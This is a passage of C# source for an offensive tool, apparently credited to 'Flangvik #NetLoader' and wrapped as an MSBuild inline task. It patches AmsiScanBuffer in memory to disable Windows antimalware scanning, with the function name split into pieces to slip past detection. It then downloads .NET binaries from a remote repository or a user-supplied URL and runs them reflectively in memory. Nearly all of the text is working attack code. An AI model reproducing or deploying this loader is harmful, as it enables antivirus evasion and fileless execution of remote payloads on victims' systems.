| (,,) )__) || / \)___)\ | \____()___) )___ \______(_______; ; ; __; ; ; ~Flangvik #NetLoader "; Console.WriteLine(bannerArt); if (System.Environment.Is64BitOperatingSystem) PatchAnnsi(new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }); else PatchAnnsi(new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }); while (true) { try { ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072; List binList = GetBins(); Console.WriteLine("------------------------"); Console.WriteLine("[0] - Exit NetLoader"); for (int count = 0; count < binList.Count; count++) { Console.WriteLine("[" + (count + 1) + "] - " + binList[count]); if (count == binList.Count - 1) { Console.WriteLine("[" + (count + 2) + "] - Custom PATH or URL "); } } Console.WriteLine("-----------------------"); Console.WriteLine("[+] Select a binary (number)>"); int selectedBin = Convert.ToInt32(Console.ReadLine()); if (selectedBin == 0) { System.Environment.Exit(1); } else if (selectedBin - 1 == binList.Count) { Console.WriteLine("[+] Input your own URL / Local Path / direct link to binary"); string binUrl = Console.ReadLine(); Console.WriteLine("[+] Provide arguments for {0} >", binUrl); string binArgs = Console.ReadLine(); invokeBinary("", binArgs, binUrl, false); } else if (selectedBin - 1 > binList.Count | selectedBin - 1 < 0) { Console.WriteLine("[!] Not a valid selection!"); } else { Console.WriteLine("[+] Provide arguments for {0} >", binList[selectedBin - 1]); string binArgs = Console.ReadLine(); invokeBinary(binList[selectedBin - 1], binArgs); } } catch (Exception ex) { Console.WriteLine("[!] Something went wrong, not going to handle it.."); Console.WriteLine("[!] {0}", ex.Message); Console.WriteLine("[!] {0}", ex.InnerException); } } } public static void invokeBinary(string binName, string arguments = "", string customUrl = "", bool gitHub = true) { byte[] binarySource = new byte[] { }; if (gitHub) { binarySource = webClient.DownloadData(_repURL.Replace("tree", "blob") + "/" + binName + "?raw=true"); } else { if (customUrl.StartsWith("http") && !customUrl.StartsWith("\\\\")) { binarySource = webClient.DownloadData(customUrl); } else { binarySource = File.ReadAllBytes(customUrl); } } System.Reflection.Assembly.Load(binarySource).EntryPoint.Invoke(0, new object[] { new string[] { arguments } }); } public static List GetBins() { Console.WriteLine("[+] Fetching list of bins from " + _repURL); var avBinaries = new List() { }; var websiteSource = webClient.DownloadString(_repURL); string pattern = @"\/[A-Za-z]{0,50}\.bin"; Regex rgx = new Regex(pattern, RegexOptions.IgnoreCase); MatchCollection matches = rgx.Matches(websiteSource); foreach (var match in matches) { avBinaries.Add(match.ToString().TrimStart('/')); } return avBinaries; } private static void PatchAnnsi(byte[] magicJuice) { try { Console.WriteLine("[+] Patching AM" + "SI ..."); IntPtr lib = WinLibBase.LoadLibrary("am" + "si.dll"); IntPtr addr = WinLibBase.GetProcAddress(lib, "Am" + "siSca" + "nBuffer"); uint oldProtect = 0; WinLibBase.VirtualProtect(addr, (UIntPtr)magicJuice.Length, 0x40, out oldProtect); Marshal.Copy(magicJuice, 0, addr, magicJuice.Length); Console.WriteLine("[+] Patched!"); } catch (Exception ex) { Console.WriteLine("[!] {0}", ex.Message); Console.WriteLine("[!] {0}", ex.InnerException); } } } public class WinLibBase { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } public class ClassExample : Task, ITask { public override bool Execute() { NetLoader.Main(new string[] { }); return true; } } ]]>